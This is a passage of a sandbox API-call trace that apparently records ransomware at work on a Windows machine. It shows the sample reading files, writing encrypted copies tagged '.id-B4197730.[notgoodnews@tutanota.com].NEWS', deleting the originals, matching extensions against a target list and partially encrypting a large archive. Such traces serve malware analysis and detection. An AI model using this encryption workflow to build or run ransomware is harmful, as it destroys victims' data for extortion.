liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.241] GetLastError () returned 0x0 [0065.241] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x47e, lpOverlapped=0x0) returned 1 [0065.243] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x480, lpOverlapped=0x0) returned 1 [0065.245] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.245] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xee, lpOverlapped=0x0) returned 1 [0065.245] SetEndOfFile (hFile=0x35c) returned 1 [0065.245] CloseHandle (hObject=0x35c) returned 1 [0065.246] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.246] SetEndOfFile (hFile=0x358) returned 1 [0065.247] CloseHandle (hObject=0x358) returned 1 [0065.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.247] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0065.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.247] lstrlenW (lpString=".doc") returned 4 [0065.247] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.247] lstrlenW (lpString=".docx") returned 5 [0065.247] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0065.247] lstrlenW (lpString=".pdf") returned 4 [0065.247] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString=".xls") returned 4 [0065.248] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString=".xlsx") returned 5 [0065.248] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0065.248] lstrlenW (lpString=".ppt") returned 4 [0065.248] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString=".zip") returned 4 [0065.248] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString=".rar") returned 4 [0065.248] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString=".bz2") returned 4 [0065.248] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.248] lstrlenW (lpString=".7z") returned 3 [0065.248] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString=".dbf") returned 4 [0065.248] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString=".1cd") returned 4 [0065.248] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString=".jpg") returned 4 [0065.248] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.248] lstrlenW (lpString=".doc") returned 4 [0065.248] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.248] lstrlenW (lpString=".docx") returned 5 [0065.248] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0065.248] lstrlenW (lpString=".pdf") returned 4 [0065.249] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.249] lstrlenW (lpString=".xls") returned 4 [0065.249] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.249] lstrlenW (lpString=".xlsx") returned 5 [0065.249] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0065.249] lstrlenW (lpString=".ppt") returned 4 [0065.249] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.249] lstrlenW (lpString=".zip") returned 4 [0065.249] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.249] lstrlenW (lpString=".rar") returned 4 [0065.249] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.249] lstrlenW (lpString=".bz2") returned 4 [0065.249] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.249] lstrlenW (lpString=".7z") returned 3 [0065.249] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.249] lstrlenW (lpString=".dbf") returned 4 [0065.249] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.249] lstrlenW (lpString=".1cd") returned 4 [0065.249] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0065.249] lstrlenW (lpString=".jpg") returned 4 [0065.249] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.250] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.250] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0065.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.250] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1150) returned 1 [0065.250] CloseHandle (hObject=0x358) returned 1 [0065.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0065.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.250] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.250] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.251] GetLastError () returned 0x0 [0065.251] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x47e, lpOverlapped=0x0) returned 1 [0065.252] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x480, lpOverlapped=0x0) returned 1 [0065.253] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.253] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0065.253] SetEndOfFile (hFile=0x35c) returned 1 [0065.254] CloseHandle (hObject=0x35c) returned 1 [0065.254] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.254] SetEndOfFile (hFile=0x358) returned 1 [0065.255] CloseHandle (hObject=0x358) returned 1 [0065.255] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0065.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.256] lstrlenW (lpString=".doc") returned 4 [0065.256] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.256] lstrlenW (lpString=".docx") returned 5 [0065.256] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0065.256] lstrlenW (lpString=".pdf") returned 4 [0065.256] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.256] lstrlenW (lpString=".xls") returned 4 [0065.256] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.256] lstrlenW (lpString=".xlsx") returned 5 [0065.256] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0065.256] lstrlenW (lpString=".ppt") returned 4 [0065.256] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.256] lstrlenW (lpString=".zip") returned 4 [0065.256] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.256] lstrlenW (lpString=".rar") returned 4 [0065.256] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.256] lstrlenW (lpString=".bz2") returned 4 [0065.256] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.256] lstrlenW (lpString=".7z") returned 3 [0065.256] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".dbf") returned 4 [0065.257] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".1cd") returned 4 [0065.257] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".jpg") returned 4 [0065.257] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".doc") returned 4 [0065.257] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.257] lstrlenW (lpString=".docx") returned 5 [0065.257] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0065.257] lstrlenW (lpString=".pdf") returned 4 [0065.257] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString=".xls") returned 4 [0065.257] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString=".xlsx") returned 5 [0065.257] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0065.257] lstrlenW (lpString=".ppt") returned 4 [0065.257] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".zip") returned 4 [0065.257] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString=".rar") returned 4 [0065.257] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.257] lstrlenW (lpString=".bz2") returned 4 [0065.257] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.257] lstrlenW (lpString=".7z") returned 3 [0065.257] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.257] lstrlenW (lpString=".dbf") returned 4 [0065.257] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.258] lstrlenW (lpString=".1cd") returned 4 [0065.258] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0065.258] lstrlenW (lpString=".jpg") returned 4 [0065.258] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.258] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.258] lstrlenW (lpString="warn.ico") returned 8 [0065.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.258] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=10134) returned 1 [0065.258] CloseHandle (hObject=0x358) returned 1 [0065.258] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0065.258] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.258] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.259] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.259] GetLastError () returned 0x0 [0065.259] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x2796, lpOverlapped=0x0) returned 1 [0065.260] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0065.262] ReadFile (in: hFile=0x358, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x35c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0065.262] SetEndOfFile (hFile=0x35c) returned 1 [0065.262] CloseHandle (hObject=0x35c) returned 1 [0065.263] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.263] SetEndOfFile (hFile=0x358) returned 1 [0065.264] CloseHandle (hObject=0x358) returned 1 [0065.264] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.264] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0065.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.264] lstrlenW (lpString=".doc") returned 4 [0065.264] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.264] lstrlenW (lpString=".docx") returned 5 [0065.264] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0065.264] lstrlenW (lpString=".pdf") returned 4 [0065.264] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.264] lstrlenW (lpString=".xls") returned 4 [0065.264] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.264] lstrlenW (lpString=".xlsx") returned 5 [0065.264] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0065.265] lstrlenW (lpString=".ppt") returned 4 [0065.265] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString=".zip") returned 4 [0065.265] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString=".rar") returned 4 [0065.265] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString=".bz2") returned 4 [0065.265] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.265] lstrlenW (lpString=".7z") returned 3 [0065.265] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString=".dbf") returned 4 [0065.265] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString=".1cd") returned 4 [0065.265] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString=".jpg") returned 4 [0065.265] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.265] lstrlenW (lpString=".doc") returned 4 [0065.265] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.265] lstrlenW (lpString=".docx") returned 5 [0065.265] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0065.265] lstrlenW (lpString=".pdf") returned 4 [0065.265] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString=".xls") returned 4 [0065.265] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString=".xlsx") returned 5 [0065.265] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0065.265] lstrlenW (lpString=".ppt") returned 4 [0065.265] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.266] lstrlenW (lpString=".zip") returned 4 [0065.266] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.266] lstrlenW (lpString=".rar") returned 4 [0065.266] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.266] lstrlenW (lpString=".bz2") returned 4 [0065.266] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.266] lstrlenW (lpString=".7z") returned 3 [0065.266] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.266] lstrlenW (lpString=".dbf") returned 4 [0065.266] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.266] lstrlenW (lpString=".1cd") returned 4 [0065.266] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0065.266] lstrlenW (lpString=".jpg") returned 4 [0065.266] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.266] lstrcmpiW (lpString1=".mzz", lpString2=".NEWS") returned -1 [0065.266] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0065.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.266] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=181483595) returned 1 [0065.267] CloseHandle (hObject=0x358) returned 1 [0065.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0065.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.267] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0065.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0x0) returned 1 [0065.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.268] ReadFile (in: hFile=0x358, lpBuffer=0x3911058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3911058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.882] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.882] ReadFile (in: hFile=0x358, lpBuffer=0x3951058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3951058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.886] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.886] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0065.886] ReadFile (in: hFile=0x358, lpBuffer=0x3991058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3991058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.903] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.903] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d5fca8, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0065.919] SetEndOfFile (hFile=0x358) returned 1 [0065.919] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, 